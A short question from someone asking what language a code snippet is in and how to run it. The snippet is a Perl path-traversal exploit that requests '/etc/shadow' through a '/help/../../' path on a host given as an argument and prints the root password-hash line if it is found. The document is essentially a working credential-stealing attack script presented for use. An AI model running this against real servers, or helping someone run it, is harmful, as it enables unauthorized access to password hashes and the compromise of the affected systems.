I have a code here, but I don't know what language it is written in, and how to run it.

```
use LWP::UserAgent;
$host = $ARGV[0];
chomp($host);
if($host !~ /http:\/\//) { $host = "http://$host"; };

my $ua = LWP::UserAgent->new;
$ua->timeout(30);
$lfi = "/help/../../../../../../../../etc/shadow";
$url = $host.$lfi;
$request = HTTP::Request->new('GET', $url); $response =
$ua->request($request); my $html = $response->content; if($html =~ /root/) {
print "root$' \n" ; }

```
